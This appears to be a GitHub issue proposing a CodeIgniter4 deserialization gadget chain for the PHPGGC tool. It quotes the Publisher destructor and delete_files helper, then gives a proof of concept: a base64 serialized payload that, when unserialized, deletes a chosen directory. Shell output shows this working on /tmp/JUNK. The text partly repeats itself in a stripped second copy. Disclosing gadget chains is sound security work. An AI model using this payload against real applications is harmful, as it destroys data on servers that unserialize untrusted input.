<?php
...
class Publisher extends FileCollection
{
...
/**
* Removes a directory and all its files and subdirectories.
*/
private static function wipeDirectory(string $directory): void
{
if (is_dir($directory)) {
// Try a few times in case of lingering locks
$attempts = 10;
while ((bool) $attempts && ! delete_files($directory, true, false, true)) {
// @codeCoverageIgnoreStart
$attempts--;
usleep(100000); // .1s
// @codeCoverageIgnoreEnd
}
@rmdir($directory);
}
}
...
/**
* Cleans up any temporary files in the scratch space.
*/
public function __destruct()
{
if (isset($this->scratch)) {
self::wipeDirectory($this->scratch);
$this->scratch = null;
}
}
...
}
File: system/Helpers/filesystem_helper.php
<?php
...
if (! function_exists('delete_files')) {
/**
* Delete Files
*
* Deletes all files contained in the supplied directory path.
* Files must be writable or owned by the system in order to be deleted.
* If the second parameter is set to true, any directories contained
* within the supplied base directory will be nuked as well.
*
* @param string $path File path
* @param bool $delDir Whether to delete any directories found in the path
* @param bool $htdocs Whether to skip deleting .htaccess and index page files
* @param bool $hidden Whether to include hidden files (files beginning with a period)
*/
function delete_files(string $path, bool $delDir = false, bool $htdocs = false, bool $hidden = false): bool
{
$path = realpath($path) ?: $path;
$path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
try {
foreach (new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
) as $object) {
$filename = $object->getFilename();
if (! $hidden && $filename[0] === '.') {
continue;
}
if (! $htdocs || ! preg_match('/^(\.htaccess|index\.(html|htm|php)|web\.config)$/i', $filename)) {
$isDir = $object->isDir();
if ($isDir && $delDir) {
rmdir($object->getPathname());
continue;
}
if (! $isDir) {
unlink($object->getPathname());
}
}
}
return true;
} catch (Throwable $e) {
return false;
}
}
}
...
How?
Proof Of Concept
php composer.phar create-project codeigniter4/appstarter test
Then we generate the gadget chain using PHPGGC (we need to encode the string in base64 as it contains NULL bytes).
Then we edit the file app/Controllers/Home.php so that it contains the following code:
File: app/Controllers/Home.php
<?php
namespace App\Controllers;
helper(['filesystem']);
class Home extends BaseController
{
public function index(): string
{
$es= "TzozMToiQ29kZUlnbml0ZXJcUHVibGlzaGVyXFB1Ymxpc2hlciI6MTp7czo0MDoiAENvZGVJZ25pdGVyXFB1Ymxpc2hlclxQdWJsaXNoZXIAc2NyYXRjaCI7czo5OiIvdG1wL0pVTksiO30=";
$s = base64_decode($es);
$o = unserialize($s);
return view('welcome_message');
}
}
Then the application can be launched as follows:
$ ./spark serve
CodeIgniter v4.3.7 Command Line Tool - Server Time: 2023-08-06 19:52:03 UTC+00:00
CodeIgniter development server started on http://localhost:8080
Press Control-C to stop.
[Sun Aug 6 21:52:03 2023] PHP 8.2.8 Development Server (http://localhost:8080) started
[Sun Aug 6 21:52:22 2023] [::1]:50361 Accepted
[Sun Aug 6 21:52:22 2023] [::1]:50361 Closing
All we have to do now is make an HTTP GET request via curl to the URL http://localhost:8080 to trigger script execution and check that the gadget chain works:
$ ls /tmp/JUNK
ls: /tmp/JUNK: No such file or directory
$ mkdir /tmp/JUNK/
$ echo 123 > /tmp/JUNK/aaaa
$ cat /tmp/JUNK/aaaa
123
$ curl -s -o /dev/null http://localhost:8080
$ cat /tmp/JUNK/aaaa
cat: /tmp/JUNK/aaaa: No such file or directory
I would like to add my CodeIgniter4 gadget chain to PHPGGC.
Why?
Below is the responsible code.
File: system/Publisher/Publisher.php
File: system/Helpers/filesystem_helper.php
How?
Proof Of Concept
Then we generate the gadget chain using
PHPGGC
(we need to encode the string in base64 as it contains NULL bytes).Then we edit the file app/Controllers/Home.php so that it contains the following code:
File: app/Controllers/Home.php
Then the application can be launched as follows:
All we have to do now is make an HTTP GET request via
curl
to the URL http://localhost:8080 to trigger script execution and check that the gadget chain works: